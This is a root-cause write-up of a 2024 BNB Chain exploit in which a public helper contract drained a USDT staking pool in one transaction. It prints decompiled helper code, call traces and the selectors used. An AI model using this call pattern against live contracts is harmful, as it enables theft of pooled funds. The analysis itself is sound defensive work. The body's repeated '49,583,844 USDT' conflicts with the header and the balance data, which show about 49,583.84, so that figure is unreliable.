All incidents

BNB-chain constructor exploit drains full USDT pool balance

Share
Jul 11, 2024 09:32 UTCAttackLoss: 49,583.84 USDTManually checked1 exploit txWindow: Atomic

Root Cause Analysis

BNB-chain constructor exploit drains full USDT pool balance

1. Incident Overview TL;DR

On BNB Chain block 40375925, a single contract-creation transaction 0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108 drained the entire 49,583,844 USDT balance from USDT pool contract 0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b. Externally owned account (EOA) 0x8ccf2860f38fc2f4a56dec897c8c976503fcb123 deployed an orchestrator contract 0x64B9D294CD918204D1eE6bcE283edb49302Ddf7e whose constructor immediately called a pre-existing helper 0xa901fda83e9906e6177f3a3f7b85f13f68723326.

The helper read BEP20USDT (0x55d398326f99059ff775485246999027b3197955) balance of the victim pool, invoked victim function selector 0x6c99d7c8 on 0xdb4b73... with that balance as the amount, received the full 49,583,844 USDT from the pool, and then forwarded all 49,583,844 USDT to the attacker EOA. The only capital the attacker supplied was BNB gas; all profit came from custodial USDT inside the victim pool.

The root cause is a code-level authorization and accounting flaw in victim function 0x6c99d7c8, combined with an unprotected helper function on 0xa901fda8.... The victim allows an external caller to trigger a transfer of an arbitrary USDT amount from the pool’s balance without tying that amount to the caller’s recorded stake or enforcing a strict caller whitelist, and the helper hard-codes a pattern that passes USDT.balanceOf(victim) into 0x6c99d7c8 and then forwards the resulting USDT to tx.origin. This creates an anyone-can-take (ACT) opportunity: any unprivileged EOA can perform the same call sequence and drain whatever USDT balance the pool holds in one transaction.

2. Key Background

  • Chain and reference asset. The incident occurs on BNB Chain (chainid 56) and involves BEP20USDT at address 0x55d398326f99059ff775485246999027b3197955 as the reference asset. USDT balances and profit are measured directly from ERC20 balance changes.
  • Victim pool role. Contract 0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b is an unverified USDT staking/pool contract. The decompiled code shows typical stake and withdraw functions that update per-user accounting, and an owner-only withdrawToken(address token, address to, uint256 amount) path enforcing owner authorization and balance checks before moving pooled tokens.
  • Helper contract role. Contract 0xa901fda83e9906e6177f3a3f7b85f13f68723326 is a helper/orchestrator contract with a publicly callable function 0xf03e41ba (Unresolved_f03e41ba in the decompile). This function reads USDT.balanceOf(victim), calls victim selector 0x6c99d7c8 on the pool with that amount, and then calls USDT.transfer(tx.origin, amount) to forward all received USDT to the transaction originator. There is no privilege check on the caller.
  • Single-transaction exploit. The seed transaction 0x368f84... is a contract-creation transaction from EOA 0x8ccf28... that deploys orchestrator contract 0x64B9d2.... The constructor performs a single external call sequence: it calls helper 0xa901fda8...::0xf03e41ba, which in turn calls the victim and USDT as described above. All exploit logic, from deployment to draining and payout, occurs entirely within this one adversary-crafted transaction.

3. Vulnerability Analysis & Root Cause Summary

The vulnerability is an authorization and accounting flaw in the victim pool’s withdrawal surface, coupled with overly permissive contract composition. Victim function 0x6c99d7c8 accepts a caller-supplied amount and drives an ERC20 USDT transfer out of the pool without restricting the caller to a privileged owner and without checking that the amount is bounded by the caller’s recorded stake. The helper function on 0xa901fda8... amplifies this flaw by automatically requesting USDT.balanceOf(victim) and feeding that into 0x6c99d7c8, then forwarding the resulting USDT balance to tx.origin.

This breaks the intended invariant that pooled USDT can only be withdrawn via per-user withdrawals or explicit owner-only administrative withdrawals; instead, any EOA can use the helper to withdraw the pool’s entire USDT balance in a single call. The root cause is therefore categorized as ATTACK: an adversary-crafted sequence exploits a code-level weakness, not economic competition or benign MEV.

4. Detailed Root Cause Analysis

4.1 Intended victim behavior

Decompiled victim contract 0xdb4b73... shows:

  • Per-user staking and withdrawal functions (e.g., selectors 0xc176ecf9, 0xfcbb727d) that update user balances and then call USDT.transfer(msg.sender, amount) after verifying conditions such as "Insufficient staked USDT".
  • An owner-only administrative withdrawal path:
/// @custom:selector    0x01e33667
/// @custom:signature   withdrawToken(address token, address to, uint256 amount) public
function withdrawToken(address arg0, address arg1, uint256 arg2) public {
    require(address(msg.sender) == (address(owner / 0x01)), "Caller is not the owner");
    // fetch contract token balance, check arg2 <= balance
    // then perform ERC20 transfer(token, to, amount)
}

This pattern enforces that large movements of pooled USDT either follow per-user accounting or require owner authorization.

4.2 Exploited victim function 0x6c99d7c8

The exploited external function has selector 0x6c99d7c8. In isolation, the decompiled body is minimal, but on-chain call traces for 0x368f84... show that a call to 0x6c99d7c8 from the helper causes the victim to:

  • Call an intermediate contract 0xd5d63074a39bc0202e828b044c02c6f4d2f75c76 with selector 0x23b872dd (ERC20 transferFrom), and
  • Call USDT with selector 0xa9059cbb to transfer the full pool USDT balance to the helper.

From the trace (callTracer_selectors_flat):

[
  {
    "depth": 2,
    "from": "0xa901fda83e9906e6177f3a3f7b85f13f68723326",
    "to": "0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b",
    "type": "CALL",
    "input": "0x6c99d7c8 ... 000000000000000000000000000000000000000000000a7ff210d3890fca0000",
    "selector": "0x6c99d7c8"
  },
  {
    "depth": 3,
    "from": "0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b",
    "to": "0x55d398326f99059ff775485246999027b3197955",
    "type": "CALL",
    "selector": "0xa9059cbb",
    "input": "0xa9059cbb ... 000000000000000000000000a901fda83e9906e6177f3a3f7b85f13f68723326 000000000000000000000000000000000000000000000a7ff210d3890fca0000"
  }
]

The amount 0x000...0a7ff210d3890fca0000 corresponds exactly to 49,583,844e18 USDT. Thus, when called with that amount, 0x6c99d7c8 causes the victim pool to transfer its entire USDT balance to the helper without any per-user or owner-based bound on the amount.

4.3 Helper function 0xf03e41ba on 0xa901fda8...

Decompiled helper contract 0xa901fda8... shows a public function Unresolved_f03e41ba with selector 0xf03e41ba that orchestrates the exploit:

/// @custom:selector    0xf03e41ba
/// @custom:signature   Unresolved_f03e41ba() public payable
function Unresolved_f03e41ba() public payable {
    // 1. Read USDT balance of victim pool
    //    store_k is USDT token address; 0x70a08231 is balanceOf
    (bool success0, bytes memory ret0) =
        address(store_k).call(abi.encodeWithSelector(0x70a08231, 0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b));
    uint256 amount = /* decoded balanceOf(victim) = 49,583,844e18 */;

    // 2. Call victim function 0x6c99d7c8 with amount
    (bool success1, ) =
        address(0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b).call(abi.encodeWithSelector(0x6c99d7c8, amount));

    // 3. Read helper's own USDT balance, then forward all USDT to tx.origin
    (bool success2, bytes memory ret1) =
        address(store_k).call(abi.encodeWithSelector(0x70a08231, address(this)));
    (bool success3, ) =
        address(store_k).call(abi.encodeWithSelector(0xa9059cbb, tx.origin, /* helper balance */));
}

The actual decompiled Solidity is syntactically noisy, but the selectors and addresses match exactly what appears in the on-chain trace:

  • 0x70a08231 calls from 0xa901fda8... to USDT 0x55d3... with target 0xdb4b73... and later 0xa901fda8....
  • 0x6c99d7c8 call from 0xa901fda8... to the victim.
  • 0xa9059cbb call from 0xa901fda8... to USDT 0x55d3... with recipient 0x8ccf28... and amount 49,583,844e18.

Crucially, Unresolved_f03e41ba is public and has no onlyOwner-style guard, so any EOA can invoke this exact sequence.

4.4 Breaking the invariant

The intended pool-level invariant is:

USDT held by victim pool 0xdb4b73... should only leave the contract via (a) user withdrawals that reduce the withdrawing user’s recorded staked-USDT balance or (b) explicit owner-only withdrawToken() style operations. There should be no external call path that transfers the pool’s entire USDT balance to an arbitrary address in a single transaction without reconciling per-user accounting.

In tx 0x368f84..., the helper breaks this invariant by:

  1. Reading USDT.balanceOf(0xdb4b73...) = 49,583,844e18.
  2. Calling 0xdb4b73...::0x6c99d7c8 with that amount, causing the victim to call USDT.transfer(0xa901fda8..., 49,583,844e18) and move its entire balance to the helper.
  3. Calling USDT.transfer(0x8ccf2860f38fc2f4a56dec897c8c976503fcb123, 49,583,844e18) from the helper, sending all drained USDT to the attacker EOA.

No per-user accounting is updated and no owner check is enforced in this path, so the entire pool is drained by a single unprivileged transaction.

5. Adversary Flow Analysis

5.1 Adversary-related cluster accounts

  • Attacker EOA: 0x8ccf2860f38fc2f4a56dec897c8c976503fcb123

    • Sender of the seed transaction 0x368f84....
    • Final recipient of +49,583,844e18 USDT in ERC20 balance deltas.
    • tx.origin used by helper 0xa901fda8... as the recipient in USDT.transfer(tx.origin, amount).
  • Orchestrator contract: 0x64B9D294CD918204D1eE6bcE283edb49302Ddf7e

    • Created in 0x368f84... (type CREATE in callTracer).
    • Its constructor performs a single external call into helper 0xa901fda8...::0xf03e41ba, so all exploit logic is triggered during deployment.
  • Helper contract: 0xa901fda83e9906e6177f3a3f7b85f13f68723326

    • Public helper whose function 0xf03e41ba orchestrates the entire exploit sequence: USDT.balanceOf(victim)victim.0x6c99d7c8(amount)USDT.transfer(tx.origin, amount).
  • Victim pool: 0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b (USDT staking/pool contract).

    • Holds the 49,583,844 USDT balance before the exploit and is left with 0 afterward.

5.2 End-to-end attack transaction

From callTracer_selectors_flat.json for tx 0x368f84..., the key steps are:

[
  {
    "depth": 0,
    "from": "0x8ccf2860f38fc2f4a56dec897c8c976503fcb123",
    "to": "0x64b9d294cd918204d1ee6bce283edb49302ddf7e",
    "type": "CREATE"
  },
  {
    "depth": 1,
    "from": "0x64b9d294cd918204d1ee6bce283edb49302ddf7e",
    "to": "0xa901fda83e9906e6177f3a3f7b85f13f68723326",
    "type": "CALL",
    "selector": "0xf03e41ba"
  },
  {
    "depth": 2,
    "from": "0xa901fda83e9906e6177f3a3f7b85f13f68723326",
    "to": "0x55d398326f99059ff775485246999027b3197955",
    "type": "STATICCALL",
    "selector": "0x70a08231",
    "input": "0x70a08231 ... db4b73df2f6de4afcd3a883efe8b7a4b0763822b",
    "output": "0x...0a7ff210d3890fca0000"  // 49,583,844e18
  },
  {
    "depth": 2,
    "from": "0xa901fda83e9906e6177f3a3f7b85f13f68723326",
    "to": "0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b",
    "type": "CALL",
    "selector": "0x6c99d7c8",
    "input": "0x6c99d7c8 ... 000000000000000000000000000000000000000000000a7ff210d3890fca0000"
  },
  {
    "depth": 3,
    "from": "0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b",
    "to": "0x55d398326f99059ff775485246999027b3197955",
    "type": "CALL",
    "selector": "0xa9059cbb",
    "input": "0xa9059cbb ... a901fda83e9906e6177f3a3f7b85f13f68723326 ...0a7ff210d3890fca0000"
  },
  {
    "depth": 2,
    "from": "0xa901fda83e9906e6177f3a3f7b85f13f68723326",
    "to": "0x55d398326f99059ff775485246999027b3197955",
    "type": "CALL",
    "selector": "0xa9059cbb",
    "input": "0xa9059cbb ... 8ccf2860f38fc2f4a56dec897c8c976503fcb123 ...0a7ff210d3890fca0000"
  }
]

Narratively:

  1. The attacker EOA deploys the orchestrator contract.
  2. The orchestrator constructor calls helper 0xa901fda8...::0xf03e41ba.
  3. The helper queries USDT balance of the victim pool (49,583,844e18).
  4. The helper calls victim 0xdb4b73...::0x6c99d7c8 with that amount.
  5. Inside the victim, USDT transfer moves 49,583,844e18 USDT from the pool to the helper.
  6. The helper reads its own USDT balance and calls USDT.transfer(0x8ccf28..., 49,583,844e18), delivering the entire drained amount to the attacker EOA.

No flash loans, governance actions, or multi-block orchestration are involved; the attack is a straightforward single-tx drain enabled by the helper/victim composition.

6. Impact & Losses

ERC20 balance diffs for tx 0x368f84... on chainid 56 show:

{
  "native_balance_deltas": [
    {
      "address": "0x8ccf2860f38fc2f4a56dec897c8c976503fcb123",
      "before_wei": "98100000000000000",
      "after_wei": "95402355000000000",
      "delta_wei": "-2697645000000000"
    }
  ],
  "erc20_balance_deltas": [
    {
      "token": "0x55d398326f99059ff775485246999027b3197955",
      "holder": "0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b",
      "before": "49583844000000000000000",
      "after": "0",
      "delta": "-49583844000000000000000"
    },
    {
      "token": "0x55d398326f99059ff775485246999027b3197955",
      "holder": "0x8ccf2860f38fc2f4a56dec897c8c976503fcb123",
      "before": "0",
      "after": "49583844000000000000000",
      "delta": "49583844000000000000000"
    }
  ]
}

Interpreting these values:

  • The victim pool 0xdb4b73... loses 49,583,844 USDT (from 49,583,844e18 to 0).
  • The attacker EOA 0x8ccf28... gains 49,583,844 USDT (from 0 to 49,583,844e18).
  • The attacker pays 0.002697645 BNB in gas (delta_wei = -2,697,645,000,000,000), which is negligible relative to the USDT gain, so net profit in USDT terms is strictly positive.

Thus, the measurable impact is a full depletion of the victim pool’s USDT holdings in a single transaction, transferring 49,583,844 USDT from the pool to the attacker EOA.

7. References

  • [1] Seed tx metadata and balance diffs.
    artifacts/root_cause/seed/56/0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108/metadata.json and balance_diff.json – raw RPC tx data and ERC20/native balance changes confirming the 49,583,844 USDT drain and attacker gas cost.

  • [2] Seed tx trace and callTracer selectors.
    artifacts/root_cause/data_collector/iter_3/tx/56/0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108/callTracer_selectors_flat.json and trace.cast.log – detailed call graph showing the orchestrator CREATE, helper call to 0xf03e41ba, calls to 0x6c99d7c8, and ERC20 balanceOf/transfer calls.

  • [3] Helper and victim decompiled contracts.
    artifacts/root_cause/data_collector/iter_1/contract/56/0xa901fda83e9906e6177f3a3f7b85f13f68723326/decompile/0xa901fda83e9906e6177f3a3f7b85f13f68723326-decompiled.sol and
    artifacts/root_cause/data_collector/iter_1/contract/56/0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b/decompile/0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b-decompiled.sol – decompiled Solidity used to understand the victim’s authorized withdrawal paths, the helper’s public 0xf03e41ba function, and how their composition enables the drain.